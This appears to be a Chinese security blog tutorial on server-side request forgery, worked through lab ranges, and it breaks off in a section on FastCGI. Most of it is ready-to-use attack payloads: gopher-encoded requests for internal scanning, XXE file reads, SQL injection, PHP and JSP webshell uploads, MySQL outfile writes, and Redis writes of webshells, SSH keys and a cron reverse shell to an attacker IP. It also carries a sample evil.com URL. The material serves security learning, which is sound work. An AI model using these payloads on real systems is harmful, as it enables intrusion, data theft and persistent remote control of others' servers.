本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

声明:部分内容参考b站橙子科技工作室

一、SSRF漏洞介绍

  • SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞是一种由攻击者构造请求,由服务端发起请求的安全漏洞。

  • 攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

  • 简单来说就是利用服务器的漏洞,以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。

  • 漏洞产生的原因:通常是因为服务端提供了从其他服务器应用获取数据的功能,但没有对目标地址做足够的过滤和限制,导致攻击者可以通过篡改请求的目标地址来伪造请求,从而实现对内网资源的未授权访问。

  • 从指定URL获取网页文本内容;

  • 加载指定网址的图片;

  • 前提:该站点具备一个对外获取的资源的能力,或者说能够从执行目标获取资源的能力

  • 攻击目标:一般是从外网无法访问的内部系统(外网打内网)。

二、SSRF漏洞原理

  • SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能(通过指定的URL,网站可以从其他地方获取图片、下载文件、读取文件内容等),而且没有对目标地址做过滤与限制,使得攻击者可以利用存在缺陷的web应⽤作为代理,攻击其远程和本地的服务器。

  • 例如,攻击者操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。

  • 简单概括就是SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。

三、SSRF危害

  • 敏感文件查询:可以通过SSRF漏洞获取网站/服务器本身的文件(/etc/passwd

  • 端口扫描:可以利用SSRF漏洞对外网、服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息。

  • banner信息就是指服务器返回给你的响应头的相关信息(例如:返回过来的状态码,服务版本号等等),通过这些banner信息可以得到一个服务器的端口号、上面安装了哪些服务,以及服务相应的版本等等,从而可以找到相应的漏洞。

  • 攻击内网应用:攻击者可以利用SSRF漏洞攻击运行在内网或本地的应用程序,因为请求是由服务端发起的,所以服务端可以请求到与其相连但与外网隔离的内部系统。

  • 指纹识别:攻击者可以利用SSRF漏洞对内网进行指纹识别,识别企业内部的资产信息。

  • 攻击Web应用:攻击者可以利用SSRF漏洞攻击内外网的Web应用(比如 struts2、sql注入、redis……)。

  • DOS攻击:请求大文件,始终保持连接keep-alive always

四、伪协议&&作用

file://

  • 作用:从文件系统中读取文件内容

  • 读取敏感文件

file:///etc/passwd

  • 显示当前网段路由信息

file:///proc/net/fib_trie

http://

  • 作用:请求/获取/加载资源信息

  • 允许通过HTTP访问文件或者一些资源(可以结合Burp的Intruder模块进行目录扫描)

  • 还可以加载远程恶意文件

http://vps ip/shell.php

dict://

  • 作用:字典服务协议,访问字典资源

  • 探测3306端口是否开放

dict:///ip:3306

gopher://

  • 作用:可以进行GET/POST提交,还可以利用Redis、Fastcgi、Mysql等服务

  • 基本格式

gopher://ip:port/需要提交的内容
  • 默认访问70端口,所以访问时要根据情况改端口号

nc -lvp 70
curl gopher://127.0.0.1/abc
  • 监听70端口,使用gopher://伪协议提交数据时不加端口号,发现收到数据

  • 默认不转发第一个字符,所以使用时可以使用下划线进行占位(gopher://_ip:port/xxxx

nc -lvp 8080
curl gopher://127.0.0.1:8080/abcd
  • 可以看到提交了4个字符,发现只接收到了后面3个

其它

  • ftp:文件传输协议

ssrf.php?url=ftp://evil.com:12345/TEST
  • sftp://:安全文件传输

ssrf.php?url=sftp://example.com:11111/
  • tftp://:简单文件传输协议

ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
  • ldap://:轻量级目录访问

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

五、pikachu靶场代码

六、国光SSRF靶场

file://&&http://伪协议收集内网信息

  • 查看当前网卡IP,判断当前主机所处的内网网段

  • 此时看到内网存在172网段

file:///etc/hosts

  • 查看arp缓存表,寻找内网存活的主机

  • 使用arp扫内网的好处就是,不需要关心对方是否开了防火墙、是否写了安全策略,只要对方是基于ip协议的机器,通过arp都能探测到

file:///proc/net/arp
  • 此时只能看到存在一个ip地址,是因为只有与别的机器通信,才会生成相应的arp表

  • 猜测内网不会只存在一台机器,如果想要确定内网有哪些主机存活,就需要通过存在SSRF漏洞的机器对内网ip段的所有主机主动发起访问

  • 通过http伪协议与目标内网的任意ip进行数据通信前,会先发起一个arp请求,如果存活,对方就会回复一个单播的应答

http://172.250.250.6 

  • 此时再次查看arp表,发现多了一个ip(172.250.250.6)且显示了mac地址,说明该主机存活

  • 但是一个个手动访问效率非常低,所以可以通过Burp的Intruder模块,批量访问目标内网,然后再查看arp表

  • 访问一个IP地址,然后通过Burp抓包,发送到Intruder

  • 将需要批量访问的主机位设置为变量

  • 选择Payload类型为数字,范围是1-254,步长为1

  • 点击开始爆破

  • 再次查看arp表,发现内网存活的其它主机

  • 注意:mac地址为0的说明不存活

dict://伪协议扫描内网机器开放的端口

  • ftp://http://等等伪协议都可以进行端口探测,但是使用dict://伪协议速度会更快

  • 使用Burp来进行快速测试

  • 先通过dict://伪协议访问任意ip的任意一个端口,通过Burp抓包,发送到Intruder

dict://172.250.250.6:80

  • 将ip的主机位和端口设置为变量,攻击类型设置为Cluster bomb

  • Payload1的类型设置为数字,范围是1-254,步长为1

  • Payload2的类型设置为Simple list,然后将常见的端口号复制进去

80
443
3306
6379
8080
...

  • 点击开始爆破

  • 爆破完以后就可以通过Length来进行判断,哪些主机的哪些端口是开放的

  • 例如:此处172.250.250.8的3306端口已经开启

通过http://伪协议进行文件&&目录扫描

  • 此时访问172.250.250.4,发现只是一个默认页

http://172.250.250.4

  • 此时想要知道这个路径下是否存在其它文件,可以在后面拼接一个文件名,然后使用Burp抓包,发送到Intruder

http://172.250.250.4/index.php

  • 此时将文件名设置为变量

  • 可以文件名+后缀设置为变量,也可以分别将文件名和后缀设置为变量(后面单独用两个字典跑即可)

  • 在Payload中粘贴进自己的字典

  • 爆破完成后,即可根据结果判断存在哪些文件

gopher://伪协议的Payload构造

  • 场景:通过GET和POST方法提交name的值,从而打印在屏幕上

  • Payload可以参考httpGET和POST的头部

GET方法

  • 方法:

  • 模仿http头部的请求路径信息

  • 模仿http头部的请求的ip地址

  • 注意换行符

  • 整合得到

GET /name.php?name=shit HTTP/1.1
Host: 172.250.250.4
  • 拼接构造最终Payload

  • 注意空格、换行、问号这些都经过了URL编码

gopher://172.250.250.4:80/_GET%20/name.php%3fname=lazy%20HTTP/1.1%0d%0AHost:%20172.250.250.4%0d%0A

  • 除了直接在输入框提交,也可以先用Burp抓包,在Burp发送数据

  • 先抓包,发送到Repeater

gopher://172.250.250.4:80/_

  • 在Repeater中拼接Payload

  • 将Payload进行两次URL编码

  • 一次

  • 两次

  • 点击发送,发现提交成功

  • 此时提交的Payload要经过两次URL编码:原因是存在SSRF的机器会对提交的Payload进行一次解码,接着这台SSRF机器将Payload再次发送到内网的其它机器,这个Payload会再次被URL解码;所以提交的时候需要编码两次,对方才能解码两次,得到原始数据

POST方法

  • 方法:

  • 模仿http头部的请求路径信息

  • 模仿http头部的ip信息

  • 模仿http头部的Content-Type字段(根据实际提交的数据类型选择)

  • 模仿http头部的Content-Length字段(根据实际提交数据的长度选择)

  • 同样注意换行

  • 整合得到

POST /name.php HTTP/1.1
Host: 10.10.10.61
Content-Type: application/x-www-form-urlencoded
Content-Length: 526
  • 拼接需要提交的信息得到Payload

POST /name.php HTTP/1.1
Host: 10.10.10.61
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

name=lazy
  • 同样使用前面的方法,在Burp中将Payload进行两次URL编码进行,点击发送后发现提交成功

RCE1

  • 通过前面信息收集,发现内网172.250.250.4主机存在一个页面,可以拼接参数

http://172.250.250.4/shell

  • 可以直接在http://伪协议后面拼接参数执行命令

http://172.250.250.4/shell.php?cmd=ls

  • gopher://伪协议发包

  • 构造gopher://伪协议GET请求的Payload

GET /shell.php?cmd=whoami HTTP/1.1
Host: 172.250.250.4
  • 然后抓包,发送到Repeater

gopher://172.250.250.4:80/_
  • 拼接Payload,并且进行两次URL编码,发送后,发现执行成功

RCE2

  • 通过信息收集,发现内网主机172.250.250.5存在一个网络测试页面

http://172.250.250.5

  • 右键查看源代码,发现当前拼接执行的参数是ip

  • 先构造gopher://伪协议POST请求的Payload

POST / HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

ip=127.0.0.1;ls
  • 然后抓包,发送到Repeater

gopher://172.250.250.5:80/_
  • 拼接Payload,并且进行两次URL编码,发送后,发现执行成功

XXE漏洞利用

  • 通过内网信息收集,发现内网存在一个用户登录页

http://172.250.250.6

  • 右键查看源代码,发现通过XML格式的传递数据,通过POST提交的方式将输入的用户名密码提交到doLogin.php这个页面

  • 先构造gopher://伪协议POST请求的Payload(正常请求,提交用户名密码)

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml;charset=utf-8
Content-Length: 65

<user><username>admin</username><password>admin</password></user>
  • 然后抓包,发送到Repeater

gopher://172.250.250.6:80/_

  • 拼接Payload,并且进行两次URL编码,发送后,发现提交成功

  • 在源代码可以看出,响应code为1,说明登录成功

  • 此时构造一个恶意的Payload(文件读取)

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml;charset=utf-8
Content-Length: 126

<!DOCTYPE root[<!ENTITY lazy SYSTEM "file:///etc/passwd">]><user><username>&lazy;</username><password>admin</password></user>
  • 再次在Burp拼接Payload,并且进行两次URL编码,发送后,发现文件读取成功

  • 补充

  • DOCTYPE声明:在XML文档中,<!DOCTYPE>声明定义了文档类型和文档可以使用的合法元素和属性。这里定义了一个名为root的自定义文档类型。

  • ENTITY声明:在DOCTYPE声明内部,定义了一个名为lazy的实体。这个实体使用SYSTEM标识符指定了一个URI(统一资源标识符),在这个例子中是file:///etc/passwd。这意味着该实体将尝试从服务器的本地文件系统加载/etc/passwd文件的内容。

  • 实体引用:在XML文档的<username>标签内,使用了&lazy;,这是一个对之前定义的lazy实体的引用。当XML解析器遇到这个实体引用时,它会用lazy实体所指向的内容替换掉这个引用。

SQL注入漏洞

  • 靶场中存在一个sqllab模块

http://172.250.250.11

  • 通过加上单引号判断是否存在注入

  • 发现数据库报错信息,说明存在sql注入

http://172.250.250.11/Less-1/?id=1'

  • order by判断查询列数

  • 发现列数为3列

http://172.250.250.11/Less-1/?id=*1'%20order%20by%203--%20

http://172.250.250.11/Less-1/?id=*1'%20order%20by%20--%20

  • 查询回显位

  • 发现回显位是2和3

http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,2,3--%20

  • 查询数据库名

http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,database(),3--%20

  • 查询表名

http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%20'security'),3--%20

  • 查询user表的字段名(列名)

http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%20'security'%20and%20table_name='users'),3--%20

  • 查询字段的值(数据)

http://172.250.250.11/Less-1/?id=*1'%20union%20select%201,group_concat(concat_ws(0x3a,username,password)),3%20from%20security.users--%20

  • 注意:如果是POST方法提交就需要查看源代码,找到提交的参数,然后构造Payload,通过gopher://伪协议来提交

文件上传漏洞

  • 靶场中存在一个upload-labs模块

http://172.250.250.14/Pass-01/index.php

  • 右键查看源代码,查看关键的参数,以便于构造Payload

  • Payload构造

  • 指定Content-Type为multipart/form-data,而且要

POST /Pass-01/index.php HTTP/1.1
Host: 172.250.250.14
Content-Type: multipart/form-data; boundary=------1ebKitFormBoundaryIudzaMDs2XDrRaKS
Content-Length: 305

------1ebKitFormBoundaryIudzaMDs2XDrRaKS
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------1ebKitFormBoundaryIudzaMDs2XDrRaKS
Content-Disposition: form-data; name="submit"

上传
------1ebKitFormBoundaryIudzaMDs2XDrRaKS--
  • Payload解释

POST /Pass-01/index.php HTTP/1.1
Host: 172.250.250.14
//boundary=------1ebKitFormBoundaryIudzaMDs2XDrRaKS :指定唯一边界值(分界线)
Content-Type: multipart/form-data; boundary=------1ebKitFormBoundaryIudzaMDs2XDrRaKS
Content-Length: 305

------1ebKitFormBoundaryIudzaMDs2XDrRaKS     //分界线,与请求头指定的一致
//filename是自定义的文件名,其它参数根据网页的源代码来定义
Content-Disposition: form-data; name="upload_file"; filename="test.php"
Content-Type:image/jpeg

//上传的内容
<?php phpinfo();?>       
------1ebKitFormBoundaryIudzaMDs2XDrRaKS   //根据源代码可以知道,要提交两段数据,每段数据之间都需要分隔符隔开
参数根据网页的源代码来定义
Content-Disposition:form-data; name="submit"

上传   //根据源码可以知道,这里要填value的值
------1ebKitFormBoundaryIudzaMDs2XDrRaKSlazy--     //在前面指定的分界线后面再加两个杠代表结束符

  • 构造完以后使用Burp抓包,发送到Repeater

gopher://172.250.250.6:80/_
  • 拼接Payload,并且进行两次URL编码,发送后,发现上传成功

  • 验证

http://172.250.250.14/upload/test.php

文件包含

  • 使用靶场中的upload-labs模块

http://172.250.250.14/include.php

  • file://伪协议读取文件

http://172.250.250.14/include.php?file=file:///etc/passwd

  • data://伪协议执行命令

http://172.250.250.14/include.php?file=data://text/plain,<php%20system('id');%20?>

Mysql未授权

  • 有些场景下,一些站点的Mysql数据库没有设置密码,且可以通过网络访问

  • 所以可以通过SSRF漏洞对目标的Mysql进行操作

  • Payload工具下载地址:https://github.com/tarunkant/Gopherus

查询数据

  • 通过Gopherus工具生成Payload

python2 gopherus.py --exploit mysql

  • 填写登录的用户(此处为root)

  • 填写查询语句

  • 更改生成Payload中的地址为目标地址,然后在存在SSRF的点进行提交,发现查询成功

gopher://172.250.250.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1d%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%73%65%63%75%72%69%74%79%2e%75%73%65%72%73%01%00%00%00%01

写入数据

  • 构造Payload查看是否有写入权限

show variables like '%secure%';

  • 通过提交Payload,发现secure_file_priv没有值,说明可以写入

  • 构造Payload,往目标写入一句话木马

  • 前提是知道绝对路径

select "<?php @eval($_GET['cmd'])?>" into outfile '/var/www/html/cmd.php';

  • 执行成功

  • 查看靶机的目录,发现成功写入

通过PUT对Tomcat进行文件写入

  • 在靶场中内置了一个Tomcat环境

http://172.250.250.7:8080

  • 构造Payload

PUT /6.jsp/ HTTP/1.1
Host: 172.250.250.7:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 460

<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream
        in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>
  • 用Burp抓包,发送到Repeater

gopher://172.250.250.7:8080/_
  • 拼接Payload,并且进行两次URL编码,点击发送

  • 在存在SSRF的机器访问这个文件,发现已经成功上传,并可以执行命令

http://172.250.250.7:8080/6.jsp

SSRF打Redis

  • 靶场地址如下,可以看到此时是未授权的页面(不需要用户名密码认证),有很多信息

dict://172.250.250.9:6379/info

  • 利用时的注意事项

  • 需要知道要写的文件地址和路径

  • 要对写入文件有读写权限

  • 会写入很多无用数据,有可能会导致程序出错

未授权写入webshell

  • 原理

  • 设置写入的web路径:config set dir /var/www/html/

  • 设置shell文件的文件名:config set dbfilename phpinfo.php

  • 往数据库插入payload:set payload "<?php phpinfo(); ?>"

  • 保存:save

  • 退出:quit

  • 手动构造Payload

  • 在靶机上通过tcpdump抓包

tcpdump -i br-5af779a344a9 tcp and port 6379 -w redis.pcapng

-i br-5af779a344a9: 此选项指定要监听的网络接口(此处的为redis靶场对应的接口)
tcp and port 6379: 定义过滤规则,设置为只捕获那些使用TCP协议并且目标端口或源端口是6379的数据包(捕获与Redis服务器相关的所有通信数据)
-w redis.pcapng: 指定tcpdump将捕获的数据包写入到文件redis.pcapng中,以便于后续使用wireshark打开

  • 通过Redis客户端工具连接到靶场的Redis服务器

redis-cli -h 172.250.250.9

  • 设置写入的web路径

config set dir /var/www/html/
  • 设置shell文件的文件名

config set dbfilename phpinfo.php
  • 往数据库插入payload

set payload "<?php phpinfo(); ?>"
  • 保存

save
  • 退出

quit

  • 停止抓包,成功生成数据包文件

  • 进入到容器中,查看web目录,确实生成了一个phpinfo.php文件,查看时发现前后多了一些redis的相关信息,但是这里我们的代码主题是完整的,所以没有影响,写入ssh公钥的时候就需要注意

docker exec -it ea bash

  • 用wireshark打开这个数据包文件,然后最终TCP流

  • 过滤出目标端口为6379的数据包

  • 将过滤出来的内容copy到notepad++,把前三行删除,加上退出指令,参数解释如下

*4                          // 表示接下来有4个参数,用于执行配置设置操作
$6                          // 第一个参数长度为6字节
config                      // 配置命令
$3                          // 第二个参数长度为3字节
set                         // 设置操作
$3                          // 第三个参数长度为3字节
dir                         // 目录设置
$14                         // 设置的目标目录路径长度为14字节
/var/www/html/              // 设置Redis工作目录到指定路径
*4                          // 表示接下来有4个参数,用于另一个配置设置操作
$6                          // 第一个参数长度为6字节
config                      // 配置命令
$3                          // 第二个参数长度为3字节
set                         // 设置操作
$10                         // 第三个参数长度为10字节
dbfilename                  // 数据库文件名设置
$11                         // 数据库文件名长度为11字节
phpinfo.php                 // 设置数据库文件名为phpinfo.php
*3                          // 表示接下来有3个参数,用于设置键值对
$3                          // 第一个参数长度为3字节
set                         // 设置操作
$7                          // 键名长度为7字节
payload                     // 键名为payload
$19                         // 键值长度为19字节
<?php phpinfo(); ?>         // 键值为一段PHP代码,显示PHP配置信息
*1                          // 表示接下来有1个参数
$4                          // 参数长度为4字节
save                        // 执行Redis的save命令,将数据集保存到磁盘
*1                          // 表示接下来有1个参数
$4                          // 参数长度为4字节
quit                        // 退出
  • 在notepad++中将换行符换成%0d%0a,并且将问号进行URL编码

  • 拼接gopher://伪协议形成最终的Payload

gopher://172.250.250.9:6379/_*1%0d%0a$7%0d%0aCOMMAND%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$11%0d%0aphpinfo.php%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$19%0d%0a<%3Fphp phpinfo(); %3F>%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit

  • 在存在SSRF的地方提交Payload即可写入文件(先在容器删除刚刚生成的)

  • 此时访问这个文件,发现访问成功

http://172.250.250.9/phpinfo.php

  • 工具使用

  • 通过Gopherus工具生成Payload

python2 gopherus.py --exploit redis

  • 选择phpshell

  • 选择写入的目录是否为/var/www/html(此时默认回车即可)

  • 填写需要写入的内容,选择默认的,会生成一个命令执行的Payload

  • 更改生成Payload中的地址为目标地址,然后在存在SSRF的点进行提交

  • 由于没有写quit退出,所以会出现一个挂起的情况

gopher://172.250.250.9:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

  • 此时通过这个文件执行命令,发现能够执行成功

http://172.250.250.9/shell.php?cmd=id

未授权写入ssh公钥

  • 先通过kali生成一个密钥对

cd ./.ssh
ssh-keygen -t rsa

  • 手工构造Payload,给目标写入ssh公钥

*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*3
$3
set
$7
payload
$566


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6Vd2R2kTchU2OqZyCjAT6GO+NpXjyZkcKrgDLK/DALyx0xYfFl2dzSCKExJu36maiX9lCwNlAk2lBbCEJqxgPmV6+As7PDdl6HolVg19ZohlUpceiNTLYf0pRalm4EMvo1TNzrWtwM42Uwjmf+AY1eq8avqH5gpF1GTSm6tgX2E/4jeDFDHcdYshHVvA5hQXjpnkTEkdRprIlKbrvsdgUf1HKM6JBKq/gV/Po1pt+I1oRaBCK1AQDEv9GpQ8KMmtGfyy/QoPsdb7QUxZ98pXGIiAgj79YwM9xB0sMJjkn53CjVFlmGm7cKX6TkW9dkhm3wazkY9VGewwoIfIlQtyu+fYBNAwXFhRYgQvg4SryTfImUJIDfTrXi+14hNPpQvVxGR1FfP2ErM+WSRzJvVe33EZGLB+TlqSQp+pFo7ip0E3u7vq62zrzJFNNWlsUR/tu3pknlUx2BvPAxi1aGbhWZCqLhx1s76VQgKXEJ0hkN89TnJ15EYHV8ncQ24vCNo8= root@kali


*1
$4
save
*1
$4
quit
  • 解释如下

$6
config
$3
set
$3
dir
$11                //对应下面路径的长度
/root/.ssh/        //设置需要写入的路径
*4
$6
config
$3
set
$10
dbfilename
$15                   //对应下面文件名的长度
authorized_keys       //设置需要写入的文件名
*3
$3
set
$7
payload
$566     //对应下面被写入内容(公钥)的长度,包括前后加入的4个换行(避免Payload生成过程中,在公钥主体里面插入redis配置信息,导致公钥不生效)


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6Vd2R2kTchU2OqZyCjAT6GO+NpXjyZkcKrgDLK/DALyx0xYfFl2dzSCKExJu36maiX9lCwNlAk2lBbCEJqxgPmV6+As7PDdl6HolVg19ZohlUpceiNTLYf0pRalm4EMvo1TNzrWtwM42Uwjmf+AY1eq8avqH5gpF1GTSm6tgX2E/4jeDFDHcdYshHVvA5hQXjpnkTEkdRprIlKbrvsdgUf1HKM6JBKq/gV/Po1pt+I1oRaBCK1AQDEv9GpQ8KMmtGfyy/QoPsdb7QUxZ98pXGIiAgj79YwM9xB0sMJjkn53CjVFlmGm7cKX6TkW9dkhm3wazkY9VGewwoIfIlQtyu+fYBNAwXFhRYgQvg4SryTfImUJIDfTrXi+14hNPpQvVxGR1FfP2ErM+WSRzJvVe33EZGLB+TlqSQp+pFo7ip0E3u7vq62zrzJFNNWlsUR/tu3pknlUx2BvPAxi1aGbhWZCqLhx1s76VQgKXEJ0hkN89TnJ15EYHV8ncQ24vCNo8= root@kali


*1
$4
save
*1
$4
quit
  • 在notepad++中将换行符换成%0d%0a

  • 拼接gopher://伪协议形成最终的Payload,在存在SSRF的地方提交

gopher://172.250.250.9:6379/_*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$7%0d%0apayload%0d%0a$566%0d%0a%0d%0a%0d%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6Vd2R2kTchU2OqZyCjAT6GO+NpXjyZkcKrgDLK/DALyx0xYfFl2dzSCKExJu36maiX9lCwNlAk2lBbCEJqxgPmV6+As7PDdl6HolVg19ZohlUpceiNTLYf0pRalm4EMvo1TNzrWtwM42Uwjmf+AY1eq8avqH5gpF1GTSm6tgX2E/4jeDFDHcdYshHVvA5hQXjpnkTEkdRprIlKbrvsdgUf1HKM6JBKq/gV/Po1pt+I1oRaBCK1AQDEv9GpQ8KMmtGfyy/QoPsdb7QUxZ98pXGIiAgj79YwM9xB0sMJjkn53CjVFlmGm7cKX6TkW9dkhm3wazkY9VGewwoIfIlQtyu+fYBNAwXFhRYgQvg4SryTfImUJIDfTrXi+14hNPpQvVxGR1FfP2ErM+WSRzJvVe33EZGLB+TlqSQp+pFo7ip0E3u7vq62zrzJFNNWlsUR/tu3pknlUx2BvPAxi1aGbhWZCqLhx1s76VQgKXEJ0hkN89TnJ15EYHV8ncQ24vCNo8= root@kali%0d%0a%0d%0a%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit

  • 进入对应的docker容器,发现上传成功

docker exec -it ea bash

  • 此时使用kali调用私钥登录目标靶机,发现不需要密码即可登录

ssh -i id_rsa -p 2222 [email protected]

未授权计划任务反弹shell

  • 注意:此时不是写入到/etc/crontable,而是写入到/var/spool/cron目录

  • 通过Gopherus工具生成Payload

python2 gopherus.py --exploit redis

  • 选择反弹shell

  • 填写kali的ip地址(在哪接收弹回的shell就填写哪台机器的ip地址),然后下一步默认回车,即可生成Payload

  • 注意:生成的Payload默认监听端口是1234,可以自己改

  • 在kali上监听1234端口

nc -lvp 1234

  • 拼接gopher://伪协议,更改生成Payload中的地址为目标地址,然后在存在SSRF的点进行提交

  • 由于没有写quit退出,所以会出现一个挂起的情况

gopher://172.250.250.9:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/10.10.10.129/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
  • 等待一段时间即可反弹shell成功

SSRF打FastCGI未授权

FastCGI

  • FastCGI是一种用于Web服务器和应用服务器之间的通信协议,与HTTP协议类似,HTTP是介于浏览器到服务器中间件的通信协议,FastCGI是中间件到后端语言的协议

  • 中间件在通信过程中做的就是根据用户在浏览器中的请求,将请求信息封装好后传给PHP,PHP在执行后再将数据返回给中间件,中间件再发到到用户的浏览器中。

PHP-FPM

  • PHP-FPM是为PHP设计的FastCGI进程管理器,是PHP自带的一个组件

  • 换句话说,PHP-FPM是一个基于FastCGI协议的进程管理器,负责接收来自Web服务器的请求,并将这些请求分发给PHP解析器进行处理。

SSRF打FastCGI未授权

  • PHP-FPM是其常见实现,默认监听127.0.0.1:9000。如果PHP-FPM未正确配置访问控制(如暴露到公网或允许本地请求),攻击者可以通过SSRF发送恶意FastCGI请求,实现RCE。

  • 利用前提

  • 9000端口暴露在公网

  • 配置文件已配置allow url include=On

  • 原理

  • PHP-FPM默认监听127.0.0.1:9000,如果PHP-FPM未正确配置访问控制(如9000端口暴露到公网或允许本地请求),并且攻击者能够直接与 PHP-FPM 进行通信,那么攻击者就可以利用这一点来执行任意文件。

  • 但如果这些文件本身没有足够的权限或功能,仍然无法实现真正的RCE,此时就需要借助PHP的其他配置(auto_prepend_fileauto_append_file),这两个配置项允许在每个脚本执行前或后自动包含指定的文件,所以通过配置这两个选项,可以间接地控制PHP脚本的行为,从而实现 RCE。

  • php://input是一个特殊的输入流,用于读取HTTP请求体中的数据。如果将auto_prepend_file配置为php://input,则每次执行PHP脚本时,都会先执行POST请求体中的内容,通过这种方式,攻击者可以通过发送包含恶意代码的POST请求来执行任意代码。

  • 存在漏洞的php.ini配置文件如下

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': 'localhost',
    'SERVER_PROTOCOL': 'HTTP/1.1',
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
  • 注释

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',        // 指示使用的是 FastCGI 协议版本 1.0
